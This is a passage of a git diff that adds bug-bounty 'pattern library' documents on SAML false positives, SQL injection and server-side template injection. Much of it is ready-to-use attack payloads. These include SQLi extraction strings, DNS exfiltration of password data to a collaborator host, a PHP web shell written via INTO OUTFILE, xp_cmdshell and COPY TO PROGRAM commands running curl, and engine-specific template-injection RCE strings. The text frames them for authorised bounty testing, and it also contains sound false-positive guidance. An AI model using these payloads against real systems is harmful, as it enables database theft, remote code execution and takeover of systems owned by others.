+- **How to disprove:** Run the forged response through `xmllint --schema saml-schema-protocol-2.0.xsd` (download from OASIS). Fix any schema errors. Re-submit. If 400 persists with schema-clean input, the SP is rejecting at a later layer — possibly the signature check, possibly the recipient/audience check. Read the error response body carefully or check `/var/log/` if you can reach it via another bug.
+
+### Audience-mismatch "accepted" because the SP doesn't run validation on this flow
+- **Looks like:** You replay an SP-A assertion at SP-B and get a session. Looks like missing audience validation.
+- **Actually is:** Some SPs only enforce audience on the primary login flow but accept any signed assertion at backup flows (mobile-app login, API-key bootstrap). The audience check might exist on `/saml/acs` but not on `/api/saml/bootstrap`. The bug is real but the scope is narrower than "SP-B doesn't check audience" — it's "this specific endpoint doesn't."
+- **How to disprove:** Try the same replay at the main `/saml/acs`. If rejected, the audience check exists on the primary path. Report the specific endpoint that skipped the check, and trace which session capabilities the bootstrap-flow session grants (often a subset). Severity should reflect actual reachable functionality, per the 7-Question Gate.
diff --git a/docs/disclosed-reports/hunt-sqli.md b/docs/disclosed-reports/hunt-sqli.md
new file mode 100644
index 0000000..f04d2a4
--- /dev/null
+++ b/docs/disclosed-reports/hunt-sqli.md
@@ -0,0 +1,167 @@
+# hunt-sqli — Pattern Library
+
+> Patterns and verifiable public examples behind `hunt-sqli`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public cases that any reader can search and verify; uncited patterns are general operator knowledge accumulated from public bounty disclosures, CVEs, and database documentation.
+
+SQL injection has been on the OWASP Top 10 since 2003 and still pays out at the top of the table whenever it surfaces, because the proof is unambiguous (a row returned that should not have been, a measurable time delta, a string from `information_schema`) and the blast radius is the entire data tier behind the application. The patterns below are organized by *signal channel* — error-based, boolean blind, time-based blind, out-of-band, second-order, and operator injection — because in 2025 the days of "single quote breaks the page" are mostly over and the operator wins by knowing which channel survives the framework, the WAF, and the input filter.
+
+## Cited Public Examples
+
+### Apache Struts OGNL injection (CVE-2017-5638) — Equifax-class exfil
+- **Source:** Apache Software Foundation security advisory S2-045 / S2-046 from March 2017. CVE-2017-5638. CISA Known Exploited Vulnerabilities catalogue. Equifax post-mortem (US Government Accountability Office report GAO-18-559) cites this CVE as the entry point for the breach that exposed ~147 million records.
+- **Pattern shape:** Strictly speaking this is OGNL injection in the Jakarta multipart parser, not SQL injection — but it belongs in any SQLi pattern library because the operator lesson is identical: *attacker-controlled bytes reached an interpreter that the application never advertised as user-input-facing*. The `Content-Type` header was parsed by an OGNL evaluator, and the resulting code execution was used to query the backend database directly without any application-level query at all.
+- **Key trick:** When the application is hardened against classical `' OR 1=1`, the attacker stops fighting the WAF and goes a layer deeper — direct DB access via deserialization, OGNL, SpEL, JNDI, or whatever expression language is reachable. The Equifax pattern is the canonical demonstration that "we use prepared statements everywhere" does not protect the data tier when there is a sibling RCE.
+- **Why it matters:** Always cross-test SQLi candidates with the equivalent template-injection / expression-language probes from `hunt-ssti` and `hunt-rce`. Same input vector, different interpreter, often higher payout.
+
+### OWASP SQL Injection Prevention Cheat Sheet (canonical prevention reference)
+- **Source:** OWASP Foundation, SQL Injection Prevention Cheat Sheet, owasp.org/www-project-cheat-sheets/. Authored and reviewed over many years by the OWASP cheat-sheet project leadership; cited in framework docs across Python, Java, .NET, Node, Ruby, and PHP.
+- **Pattern shape:** The cheat sheet enumerates the *only* safe primitives — parameterized queries / prepared statements, stored procedures with bound parameters, allow-list input validation for non-parameterizable identifiers (table names, ORDER BY columns), and ORM constructs that never concatenate. Anything else is presumptively unsafe.
+- **Key trick:** The operator value is the *inverse* of the cheat sheet — for every "safe pattern" the document recommends, identify the corresponding unsafe pattern grep can find in source: `"SELECT ... " + var`, `f"SELECT ... {var}"`, string interpolation in SQL string builders, ORDER BY clauses that can't be bound and are escaped by hand.
+- **Why it matters:** When you have source-code access (greybox, public GitHub mirrors, leaked `.git` directories), grep the cheat sheet's anti-patterns and you will routinely find SQLi candidates the dynamic scanner missed.
+
+### HackerOne hacktivity — widely-documented SQLi disclosures across GitHub, Uber, Shopify, Verizon
+- **Source:** HackerOne's public hacktivity feed (hackerone.com/hacktivity) contains hundreds of SQLi disclosures across major programs. The class is well-documented as a category — cite the body of disclosed reports rather than individual report IDs (which can change disclosure status).
+- **Pattern shape:** The recurring shape across public disclosures: a *non-obvious* parameter (HTTP header, second-order field, JSON sub-object) reached a query construction that the primary parameter-validation layer never inspected. Top examples that recur across programs: tracking subdomain parameters, third-party plugins on enterprise WordPress installs, internal admin tools exposed externally (Airflow, GitLab, Jenkins), regional `.cn` / `.co` / `.io` variants on a slower patch cadence.
+- **Key trick:** Hunt the *attack surface periphery*. The flagship API on `api.target.com` has been hardened by ten years of pentests. The marketing site on `events.target.com` running an unmaintained WordPress plugin has not.
+- **Why it matters:** SQLi-as-a-class still pays because new attack surface gets added faster than old surface gets audited. Recon discipline (subdomain enum, parameter mining, JS bundle harvest) determines whether you find the candidate at all.
+
+### MSSQL `xp_dirtree` UNC-path OOB exfiltration (well-documented operator pattern)
+- **Source:** Microsoft SQL Server documentation for the undocumented `xp_dirtree` and `xp_fileexist` extended stored procedures. The OOB exfil pattern via UNC paths is referenced in PortSwigger Web Security Academy SQLi labs, MSSQL pentest cheat sheets, and `sqlmap` source.
+- **Pattern shape:** When boolean blind and time-based blind are both noisy on an MSSQL backend, the operator escalates to OOB via `EXEC master..xp_dirtree '\\\\<collab>\\x'`. The MSSQL service account opens an SMB / DNS lookup against the attacker-controlled host. DNS-only OOB (no SMB) is enough to validate.
+- **Key trick:** Cross-database OOB primitives differ. MSSQL → `xp_dirtree`. Oracle → `UTL_HTTP.REQUEST` or `HTTP_URI_TYPE` or `DBMS_LDAP.INIT`. PostgreSQL → `COPY ... TO PROGRAM` (RCE-tier) or `dblink_connect`. MySQL → `LOAD_FILE('\\\\<collab>\\x')` on Windows hosts, harder on Linux.
+- **Why it matters:** Time-based blind on a fast network is unreliable — 5-second sleeps get statistically washed out by network jitter on cloud-fronted targets. OOB gives a clean binary signal: callback or no callback.
+
+---
+
+## Pattern Library
+
+### Classic union-based extraction
+- **When to suspect:** Numeric or string parameter reflected into a query whose result set is rendered in the response (search, listing, filter). Quote insertion produces a 500 or a visible error fragment.
+- **Test:** Determine column count via `' ORDER BY 1--`, `' ORDER BY 2--`, ... incrementing until error. Then `' UNION SELECT NULL,NULL,NULL--` matching count. Replace NULLs progressively with `1`, `'a'`, `database()`, `version()`, `current_user`, then `group_concat(table_name)` from `information_schema.tables WHERE table_schema=database()`.
+- **Validation:** Rendered response contains the injected literal (e.g. `MySQL 8.0.36`) at the position where it could only have arrived via UNION. Confirm with statistical sampling — five clean baseline requests, five injected requests, the marker appears only in the injected responses.
+- **Pay-grade rationale:** Critical when the table reached holds PII or auth material; high otherwise. Union-based is the cleanest proof, so triagers accept it without debate.
+
+### Error-based extraction (MSSQL / Oracle / Postgres / MySQL)
+- **When to suspect:** Server returns DB error text or stack-trace fragments when a malformed input is sent. `customErrors` is off, debug mode is on, or the framework leaks `SqlException` messages.
+- **Test:** Engine-specific error-coercion payloads:
+ - **MSSQL:** `' AND 1=CONVERT(int,(SELECT @@version))--` — error returns `Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019...' to data type int.`
+ - **Oracle:** `' AND 1=CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))--` or older `' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM dual))--`.
+ - **PostgreSQL:** `' AND 1=CAST((SELECT version()) AS int)--` — error includes the version string.
+ - **MySQL (5.x):** `' AND extractvalue(1,concat(0x7e,(SELECT version())))--` or `' AND updatexml(1,concat(0x7e,(SELECT version())),1)--`.
+- **Validation:** The DB string appears verbatim in the response inside the error message — unmistakable proof.
+- **Pay-grade rationale:** Critical. Error-based extraction is often faster than UNION (no column count) and produces unambiguous PoC text.
+
+### Boolean blind via response-body diff
+- **When to suspect:** No error visible, no rendered query result, but the response *content* changes when the underlying boolean changes (e.g. "Welcome back" vs. "Invalid login", or item count, or a CSS class).
+- **Test:** Pair true/false probes — `' AND 1=1--` vs `' AND 1=2--`. If the body differs in a *content-meaningful* way (not just a timestamp or a CSRF token), the boolean is observable. Extract bit-by-bit: `' AND ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),1,1))>64--`.
+- **Validation:** Body-Diff Rule — diff the two responses with `diff <(curl ... true) <(curl ... false)` and confirm the difference is stable across 10 paired requests. A diff that flips randomly on identical input is noise, not a boolean oracle.
+- **Pay-grade rationale:** High to critical. Slower than union but works through most filters.
+
+### Time-based blind (cross-database)
+- **When to suspect:** Boolean diff is invisible (response always 200 with identical body) but a query is still being executed.
+- **Test:**
+ - **MySQL:** `' AND SLEEP(5)--` or `' AND IF(1=1, SLEEP(5), 0)--`.
+ - **PostgreSQL:** `'; SELECT pg_sleep(5)--` or `' AND (SELECT 1 FROM pg_sleep(5)) IS NOT NULL--`.
+ - **MSSQL:** `'; WAITFOR DELAY '0:0:5'--` or `' IF (1=1) WAITFOR DELAY '0:0:5'--`.
+ - **Oracle:** `' AND 1=(DBMS_PIPE.RECEIVE_MESSAGE(('a'),5))--`.
+ - **SQLite:** Burn CPU via `RANDOMBLOB(100000000)` — SQLite has no native sleep.
+- **Validation:** Statistical sampling — run 10 baseline (no payload) and 10 injected requests. Mean injected response time must exceed mean baseline by at least the sleep duration with confidence (standard deviation < sleep/3). A single slow response is not proof; ten reliably-slow responses are.
+- **Pay-grade rationale:** High to critical. Time-based is the slowest channel; report only after statistical confirmation, never on one observation.
+
+### Out-of-band exfil via DNS / SMB (MSSQL, Oracle, PostgreSQL)
+- **When to suspect:** Time-based is noisy, network jitter washes out the signal, or you want an unambiguous binary OOB callback.
+- **Test:**
+ - **MSSQL:** `'; EXEC master..xp_dirtree '\\\\<collab-subdomain>\\x'--` — DNS lookup of `<collab-subdomain>` fires from the MSSQL service account.
+ - **Oracle:** `' AND 1=UTL_HTTP.REQUEST('http://<collab>/')--` or `' AND 1=(SELECT DBMS_LDAP.INIT('<collab>',80) FROM dual)--`.
+ - **PostgreSQL:** `'; COPY (SELECT '') TO PROGRAM 'curl http://<collab>/'--` (RCE-tier, requires superuser) or `'; SELECT dblink_connect('host=<collab> user=a dbname=a')--`.
+ - **MySQL:** `' UNION SELECT LOAD_FILE(CONCAT('\\\\\\\\',(SELECT password FROM users LIMIT 1),'.<collab>\\\\x'))--` — exfils data into the DNS hostname (Windows hosts only).
+- **Validation:** Collaborator DNS interaction with a unique sub-tag per sink (`mssql-1.<collab>`, `oracle-search.<collab>`) — eliminates ambiguity about which parameter fired.
+- **Pay-grade rationale:** Critical when DB superuser. Even DNS-only OOB without exfil is a clean SQLi proof when timing is unreliable.
+
+### Second-order SQL injection (stored-then-triggered)
+- **When to suspect:** Application stores user input (registration form, profile field, comment, support ticket) and later replays that stored value into a query (admin search, scheduled report, log analysis pipeline).
+- **Test:** Register username `admin'--` or `' OR 1=1--`. Trigger the second-order code path (visit admin UI, fire scheduled job, wait for digest email). Watch for the injection firing on retrieval, not on store.
+- **Validation:** OOB callback or boolean/time-based effect on the *second* code path, with the stored payload unchanged in the DB.
+- **Pay-grade rationale:** Critical. Second-order routinely bypasses the input-validation layer entirely because validation runs on first-write, not on later-read.
+
+### Header-based injection (User-Agent, Cookie, X-Forwarded-For)
+- **When to suspect:** Application logs requests into a SQL table (audit log, analytics, rate-limit table). Headers are logged without parameterization. Often invisible until log-replay or admin-search code path runs.
+- **Test:** `User-Agent: ' AND SLEEP(5)--`. Confirm via timing on the log-replay endpoint (admin dashboard, log search, analytics) — *not* on the original request that just stored the value.
+- **Validation:** OOB callback or timing delta on the secondary code path. Eliminate WAF-side timing by also confirming the original request returns at baseline speed.
+- **Pay-grade rationale:** High to critical. Bypasses every parameter-focused WAF rule because the header is treated as "trusted server-side metadata."
+
+### ORDER BY / GROUP BY clause injection (the un-parameterizable column)
+- **When to suspect:** Sortable column list in a UI (`sort=price`, `order=desc`). Column names cannot be bound — developer either allow-lists them or builds the clause by concatenation.
+- **Test:** `sort=(CASE WHEN (SELECT version() LIKE 'PostgreSQL%') THEN 1 ELSE (SELECT 1 UNION SELECT 2) END)` — produces a runtime error on PostgreSQL only when the boolean is true (subquery returns multiple rows in a scalar context).
+- **Validation:** Boolean-channel error appears/disappears with the true/false branch. Confirm with five paired requests.
+- **Pay-grade rationale:** High. Most WAFs miss ORDER BY context because they're looking for keywords inside `WHERE` clauses.
+
+### MongoDB / NoSQL operator injection
+- **When to suspect:** Node.js + MongoDB stack. JSON body with username/password fields. PHP / Express that accepts `param[$ne]=value` in query strings (Express body-parser converts to objects automatically).
+- **Test:** Auth bypass — `{"username":{"$ne":null},"password":{"$ne":null}}` returns the first user in the collection. Data extraction — `{"username":{"$regex":"^a"},"password":{"$ne":null}}` and bit-iterate. Code injection in `$where` — `{"$where":"this.username == 'admin' && this.password.length > 0"}` (only on MongoDB with `--javascriptEnabled`).
+- **Validation:** Login succeeds with no valid password, or `$regex` enumeration yields the username one prefix-character at a time.
+- **Pay-grade rationale:** Critical when auth bypass. High when data enumeration only.
+
+### `$where` JavaScript injection on MongoDB
+- **When to suspect:** MongoDB ≤ 4.4 with `--javascriptEnabled` (default for legacy installs). Search endpoint that accepts `$where` from user input.
+- **Test:** `{"$where":"sleep(5000) || 1==1"}` — server-side JS sleep. Confirms code execution in the DB process.
+- **Validation:** Statistical timing as for SQL time-based.
+- **Pay-grade rationale:** Critical. `$where` is effectively eval-on-the-DB-server.
+
+### JSON-path / GraphQL-where injection (object-shaped query)
+- **When to suspect:** Modern API that accepts a `where` clause as JSON: `{"where":{"id":{"_eq":1}}}`. Hasura, PostgREST, Apollo+Prisma, Strapi.
+- **Test:** Add unintended operators — `{"where":{"role":{"_eq":"admin"}}}` retrieves admin rows; `{"where":{"password_hash":{"_starts_with":"a"}}}` enumerates a column the schema declared as not-selectable. Authorization at the resolver layer often misses field-level checks.
+- **Validation:** Response contains data the current session should not see (cross-tenant or higher-role row).
+- **Pay-grade rationale:** Critical when the layer trusts the where-clause shape.
+
+### `LOAD DATA LOCAL INFILE` / `INTO OUTFILE` file primitives
+- **When to suspect:** MySQL with full SQLi confirmed. `--secure-file-priv` empty or set to a writable directory. Web root writable by the MySQL user.
+- **Test:** `' UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--`. Then `GET /shell.php?c=id`.
+- **Validation:** Shell file is reachable over HTTP, command output reflected.
+- **Pay-grade rationale:** Critical (RCE escalation from SQLi).
+
+### MSSQL `xp_cmdshell` → RCE
+- **When to suspect:** MSSQL with full SQLi confirmed, `sa` or sysadmin-equivalent context.
+- **Test:** `'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--` then `'; EXEC xp_cmdshell 'curl http://<collab>/'--`.
+- **Validation:** OOB callback proves command execution as the MSSQL service account.
+- **Pay-grade rationale:** Critical. RCE on the database host with whatever privileges the service runs as (often `NETWORK SERVICE` or worse — `LOCAL SYSTEM` on legacy installs).
+
+### PostgreSQL `COPY ... FROM PROGRAM` → RCE
+- **When to suspect:** PostgreSQL ≥ 9.3 with full SQLi confirmed, current user has `pg_execute_server_program` role or is superuser.
+- **Test:** `'; CREATE TABLE x(c text); COPY x FROM PROGRAM 'curl http://<collab>/';--` or `'; COPY (SELECT '') TO PROGRAM 'id > /tmp/x';--`.
+- **Validation:** OOB callback or filesystem artifact.
+- **Pay-grade rationale:** Critical.
+
+### Stacked-query injection
+- **When to suspect:** Connector supports multiple statements per call. PHP `mysqli_multi_query`, Node `mysql2` with `multipleStatements: true`, .NET `SqlCommand` (default-on).
+- **Test:** `1; INSERT INTO users(username, role) VALUES ('attacker', 'admin');--`. Verify by logging in as the new user.
+- **Validation:** Side-effect persists in DB state.
+- **Pay-grade rationale:** Critical. Often unauthenticated privilege escalation.
+
+---
+
+## Anti-Patterns (FP traps)
+
+### 500 error from malformed input claimed as SQLi
+- **Looks like:** You insert a single quote, the server returns 500. You assume the quote broke a query.
+- **Actually is:** Input-validation layer threw an exception before any query was constructed. Frameworks routinely throw 500 on malformed bodies, mismatched JSON, type-coerce failures, or strict-mode-disabled-but-still-validating regexes.
+- **How to disprove:** **Body-Diff Rule.** Compare the 500's body to the 500 produced by *intentionally invalid* non-SQL input (e.g., the parameter set to a 10MB random string, or an emoji where an integer is expected). If both 500s contain the same generic error page, the 500 says nothing about a query. Add a positive test — `' AND SLEEP(5)--` with statistical timing — before reporting.
+
+### Response delta claimed as SQLi when the app silently strips/escapes
+- **Looks like:** `?id=1` returns the same body as `?id=1' AND 1=1--`, but `?id=1' AND 1=2--` returns a different body. Looks like a boolean oracle.
+- **Actually is:** The app may strip everything after `'` and re-execute the query as `?id=1`, hence the "true" branch matches baseline. The "false" branch differs because the same stripping produced a different stripped output (or because the input validator returned a fixed error template only on the longer second payload).
+- **How to disprove:** Run the boolean both ways without quotes — `1 AND 1=1` vs `1 AND 1=2` as raw integers. If quoted and unquoted forms give the same diff signal, you have a real boolean. If only the quoted form does, you might be observing the stripping pipeline, not the query. Confirm with timing — a real boolean injection paired with `SLEEP(5)` produces a timing delta; a stripping artefact does not.
+
+### "MySQL error" string in response is the WAF, not the backend
+- **Looks like:** Response body contains `You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version...`. Looks like a real DB error leak.
+- **Actually is:** Many WAFs (ModSecurity OWASP CRS, Akamai, Cloudflare custom rules) return a *fake* MySQL error message as a deception / canary. The actual backend may be PostgreSQL, SQL Server, or no SQL at all.
+- **How to disprove:** Confirm the backend via a positive non-WAF signal — engine-specific syntax that *only* MySQL accepts (e.g. `'; SELECT @@version;--` returning a MySQL-formatted version) succeeded as a real query. If every "error" is identical regardless of the payload shape and you see no positive engine signal, the error is decoration on a WAF block page.
+
+### Time delta from network jitter claimed as time-based blind
+- **Looks like:** Your `SLEEP(5)` request took 6 seconds; baseline took 1 second. Looks like 5-second sleep fired.
+- **Actually is:** A single observation. Cloud-fronted targets routinely have 1–10 second response-time variance under load.
+- **How to disprove:** **Statistical sampling.** Send 10 baseline and 10 injected requests. Compute mean and standard deviation. If `mean(injected) - mean(baseline) < sleep_duration` or if standard deviation exceeds `sleep_duration / 3`, the signal is noise. Switch to OOB (`xp_dirtree`, `UTL_HTTP`, DNS exfil) for binary confirmation. Marker Discipline: tag each request with a unique cookie/parameter so server-side rate-limiting cannot conflate them.
+
+### Login success on `' OR '1'='1` claimed as ATO via SQLi
+- **Looks like:** Login form, payload `admin' OR '1'='1--` returns 200 with a session cookie. Looks like SQLi auth bypass.
+- **Actually is:** Many modern login endpoints return 200 with a "generic failure" body and *no* session cookie regardless of input — to avoid user enumeration. The 200 is not a successful login.
+- **How to disprove:** After the suspect "bypass," request an authenticated endpoint (`GET /api/me`) with the returned cookie. If the response is 401 or "anonymous," no auth happened. Server-policy vs. state — the server *says* "ok" but the *state* shows no session. Require an authenticated-state proof (returned email, balance, profile) before claiming ATO.
diff --git a/docs/disclosed-reports/hunt-ssti.md b/docs/disclosed-reports/hunt-ssti.md
new file mode 100644
index 0000000..fe4be5c
--- /dev/null
+++ b/docs/disclosed-reports/hunt-ssti.md
@@ -0,0 +1,232 @@
+# hunt-ssti — Pattern Library
+
+> Patterns and verifiable public examples behind `hunt-ssti`. Operator-grade reference, not a complete enumeration. Cited examples are widely-discussed public cases that any reader can search and verify; uncited patterns are general operator knowledge accumulated from public bounty disclosures, CVE advisories, and template-engine documentation.
+
+Server-side template injection is the easiest path from "reflected input" to "remote code execution" in modern web stacks because template engines are designed to evaluate expressions and most engines ship with introspection primitives (class walkers, callback registrars, filter pipelines) that the attacker can repurpose into shell calls. The patterns below are organized *per engine* because escalation past the detection probe (`{{7*7}}`) is engine-specific — Jinja2's class-walker has nothing in common with Twig's filter-callback trick or Freemarker's `?new()` constructor. Detection takes thirty seconds; escalation takes a payload library, which is what this document is.
+
+## Cited Public Examples
+
+### PortSwigger Research — James Kettle, "Server-Side Template Injection: RCE for the Modern Web App" (2015)
+- **Source:** Black Hat USA 2015 talk and accompanying PortSwigger Research paper by James Kettle. Published at portswigger.net/research; the talk is widely-cited in subsequent SSTI literature and forms the basis of every modern template-injection cheat sheet.
+- **Pattern shape:** Kettle formalized the SSTI methodology — *Detect, Identify, Exploit* — and demonstrated the discovery process by which an operator moves from "math expression evaluated" to "engine fingerprinted" to "RCE in the target's language." The paper introduced the detection-grid (`{{7*7}}`, `${7*7}`, `<%= 7*7 %>`, `#{7*7}`, `*{7*7}`) and engine-fingerprinting via comparative responses (`{{7*'7'}}` → `7777777` is Jinja2, `49` is Twig, error is something else).
+- **Key trick:** The same input syntax (`{{ ... }}`) is shared by *server-side* template engines (Jinja2, Twig, Pebble, Liquid) and *client-side* frameworks (Angular, Vue, Mustache, Handlebars in browser). The operator must distinguish the two by where the rendering happens — server-side SSTI is RCE-tier; client-side is XSS-tier at best. The math probe distinguishes — server-side returns `49`, client-side renders the literal `{{7*7}}` to the page (then sometimes evaluates client-side, but in a sandbox).
+- **Why it matters:** This paper remains the canonical reference ten years later. Every disclosed SSTI report cites the same methodology. If you're new to the class, read the paper first and use this document as the payload library.
+
+### Apache Struts OGNL injection (CVE-2017-5638) — expression-language SSTI variant
+- **Source:** Apache Software Foundation security advisories S2-045 / S2-046. CVE-2017-5638. CISA Known Exploited Vulnerabilities catalogue. Used as the entry point for the 2017 Equifax breach (~147 million records, GAO-18-559 report).
+- **Pattern shape:** The Jakarta Multipart parser in Struts 2.3.5–2.3.31 and 2.5.x ≤ 2.5.10 evaluated the `Content-Type` HTTP header as an OGNL expression when parsing failed. An attacker sent a crafted `Content-Type` containing an OGNL payload (`%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS)...}` invoking `Runtime.exec`).
+- **Key trick:** The "template" was not a Jinja2/Twig-style HTML template — it was an *error message string* passed through OGNL evaluation. Same class of bug, different sink. The operator lesson: any string that reaches an expression-language evaluator is an SSTI candidate, including headers, error templates, log lines, and validation messages.
+- **Why it matters:** SSTI is not always in `/render`, `/preview`, or `/email-template`. It can be in *any* code path that calls an EL evaluator on a string the attacker controls. This is also a cross-reference for `hunt-rce` (RCE via expression language).
+
+### Spring Cloud Function SpEL injection (CVE-2022-22963)
+- **Source:** VMware Tanzu security advisory `cve-2022-22963`, March 2022. Spring Cloud Function ≤ 3.2.2 (and ≤ 3.1.6). Cross-referenced in `hunt-rce.md`.
+- **Pattern shape:** The `spring.cloud.function.routing-expression` HTTP header was evaluated as a Spring Expression Language (SpEL) expression before any routing logic. Attacker sets the header to `T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})` and the JVM runs arbitrary commands.
+- **Key trick:** SpEL is Spring's template/expression language, and any code path that calls `SpelExpressionParser.parseExpression(userInput).getValue(...)` is exploitable. The header-based variant in CVE-2022-22963 is one instance — the more common variant is SpEL evaluation in error messages, validation annotations (`@Value("#{...}")`), and Thymeleaf templates with `*{...}` syntax.
+- **Why it matters:** Spring SpEL injection bridges SSTI and RCE; the boundary is mostly nominal. Always probe Spring apps with both `${T(java.lang.Runtime)...}` (template context) and the headers documented in `hunt-rce`.
+
+### Velocity / Twig / Freemarker SSTI in disclosed bounty programs
+- **Source:** HackerOne and Bugcrowd hacktivity feeds, body of disclosed SSTI reports across Uber, Shopify, Atlassian, GitLab, and others over many years. Cite the class as widely-documented rather than individual report IDs.
+- **Pattern shape:** A user-supplied template field (email subject, invoice line item, dashboard title, "preview your message" feature, CMS WYSIWYG) is rendered server-side through Velocity / Twig / Freemarker. The renderer is the same one the application uses for *legitimate* templates, so the operator has access to whatever the template language allows. In most disclosed cases, the engine's RCE primitive was reachable directly because no sandbox was applied to user-supplied templates.
+- **Key trick:** SSTI almost always lives in features where the developer *intentionally* lets users write template syntax (email subject lines that embed `{{ first_name }}`, CMS preview, marketing automation). The vulnerability is "we let users write templates without sandboxing them" — not "we accidentally rendered user input."
+- **Why it matters:** The hunt is "find the feature that says users can use placeholders." That feature is the SSTI candidate. Marketing automation, transactional email designers, and PDF invoice generators are perennial wins.
+
+---
+
+## Pattern Library
+
+### Detection grid — fingerprint the engine in three probes
+- **When to suspect:** Any reflected parameter, especially in name/title/subject/preview/template fields. Email-template editors, PDF invoice generators, dashboard titles, CMS rendered fields.
+- **Test:** Send each detection probe and observe response:
+ - `{{7*7}}` → `49` ⇒ Jinja2, Twig, Liquid, Pebble (further disambiguate with `{{7*'7'}}`).
+ - `${7*7}` → `49` ⇒ Freemarker, Velocity, Spring SpEL (in some contexts), JSP EL.
+ - `<%= 7*7 %>` → `49` ⇒ ERB (Ruby).
+ - `#{7*7}` → `49` ⇒ Mako (Python), Ruby string interpolation in some contexts.
+ - `*{7*7}` → `49` ⇒ Thymeleaf (`*{...}` is the Thymeleaf selection expression).
+ - `{{7*'7'}}` → `7777777` ⇒ Jinja2 confirmed (Twig returns `49` because Twig coerces strings to numbers).
+- **Validation:** Numeric result `49` (or `7777777`) appears in the response *body* exactly where the probe was reflected. Literal `{{7*7}}` returned means *no* server-side rendering occurred — the input was either treated as plain text or rendered client-side.
+- **Pay-grade rationale:** Detection-only is informational; escalation to RCE is critical. Don't stop at the math probe.
+
+### Jinja2 (Python — Flask, Django via Jinja2 backend, Ansible)
+- **When to suspect:** `{{7*7}}` returned `49`. Server is Python (response headers, framework signature, Werkzeug debugger, `python` in stack traces).
+- **Test:** Config dump first (proves engine without firing destructive payload):
+ ```
+ {{ config }}
+ {{ config.items() }}
+ ```
+ Class-walker to `os.popen`:
+ ```
+ {{ ''.__class__.__mro__[1].__subclasses__() }}
+ ```
+ This returns the subclass list — find the index of `<class 'subprocess.Popen'>` or `<class 'os._wrap_close'>`. Then:
+ ```
+ {{ ''.__class__.__mro__[1].__subclasses__()[<N>]('id', shell=True, stdout=-1).communicate() }}
+ ```
+ Shorter modern path via globals:
+ ```
+ {{ cycler.__init__.__globals__.os.popen('id').read() }}
+ {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
+ {{ lipsum.__globals__['os'].popen('id').read() }}
+ {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
+ ```
+- **Validation:** Command output (e.g. `uid=0(root)...`) reflected in response, or OOB callback from `{{ ... popen('curl http://<collab>/') ... }}`.
+- **Pay-grade rationale:** Critical. Jinja2 SSTI on a Python web app is direct RCE in nearly all reachable configurations.
+
+### Twig (PHP — Symfony, Drupal 8+, Craft CMS)
+- **When to suspect:** `{{7*7}}` returned `49`, `{{7*'7'}}` returned `49` (not `7777777`). PHP backend (response `X-Powered-By: PHP`, `.php` paths, Symfony Profiler).
+- **Test:** Self-environment registration trick (works on Twig ≤ 2.x and many 3.x configurations):
+ ```
+ {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
+ {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
+ ```
+ Twig 3.x with sandbox sometimes blocks `_self`; try `{{['id']|filter('system')}}` or `{{['id',1]|sort('system')}}`.
+- **Validation:** Output of `id` (or whatever shell command) appears in response body, or OOB callback from `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("curl http://<collab>/")}}`.
+- **Pay-grade rationale:** Critical. Twig escapes happen, but `_self.env` was the canonical bypass for years.
+
+### Freemarker (Java — Apache OFBiz, Liferay, Atlassian Confluence)
+- **When to suspect:** `${7*7}` returned `49`. Java backend (Java exceptions, `X-Powered-By: Servlet`, Tomcat/Jetty signatures).
+- **Test:** `?new()` constructor on `Execute` utility:
+ ```
+ <#assign x="freemarker.template.utility.Execute"?new()>${x("id")}
+ ```
+ Newer Freemarker with `ObjectConstructor` blocked — try `JythonRuntime`:
+ ```
+ <#assign x="freemarker.template.utility.JythonRuntime"?new()><@x>import os; os.popen('id').read()</@x>
+ ```
+- **Validation:** Command output reflected or OOB callback.
+- **Pay-grade rationale:** Critical.
+
+### Velocity (Java — older Confluence, Apache Roller, legacy CMS)
+- **When to suspect:** `${7*7}` returned `49`, Freemarker probes errored but Velocity did not.
+- **Test:**
+ ```
+ #set($e="exp")
+ #set($a=$e.getClass().forName("java.lang.Runtime"))
+ #set($b=$a.getMethod("getRuntime"))
+ #set($c=$b.invoke(null,null))
+ #set($d=$c.getClass().getMethod("exec",$e.getClass()))
+ $d.invoke($c,"id")
+ ```
+ Compact form:
+ ```
+ #set($x="")##
+ #set($rt=$x.class.forName("java.lang.Runtime").getRuntime())##
+ $rt.exec("id")
+ ```
+- **Validation:** Process spawned; confirm via OOB (`$rt.exec("curl http://<collab>/")`).
+- **Pay-grade rationale:** Critical.
+
+### ERB (Ruby — Rails, Sinatra)
+- **When to suspect:** `<%= 7*7 %>` returned `49`. Ruby backend (`X-Powered-By: Phusion Passenger`, Rails stack traces, `.rb` paths in errors).
+- **Test:**
+ ```
+ <%= `id` %>
+ <%= IO.popen('id').read %>
+ <%= system('id') %>
+ <%= Kernel.system('curl http://<collab>/') %>
+ ```
+- **Validation:** Output of `id` reflected or OOB callback.
+- **Pay-grade rationale:** Critical. ERB has no native sandbox; if user input reaches ERB.new, RCE is essentially guaranteed.
+
+### Mako (Python — Pyramid, older Pylons)
+- **When to suspect:** `#{7*7}` or `${7*7}` returned `49` and engine signature is Python.
+- **Test:**
+ ```
+ <%import os; x=os.popen('id').read()%>${x}
+ <%
+ import os
+ os.popen('id').read()
+ %>
+ ```
+- **Validation:** Reflected output or OOB.
+- **Pay-grade rationale:** Critical.
+
+### Smarty (PHP — older e-commerce / forum software)
+- **When to suspect:** PHP backend, `{ ... }` syntax in templates (not `{{ }}`). Older Smarty (≤ 3.1.30) permitted PHP execution in templates by default.
+- **Test:**
+ ```
+ {system('id')}
+ {php}echo `id`;{/php}
+ {if system('id')}{/if}
+ ```
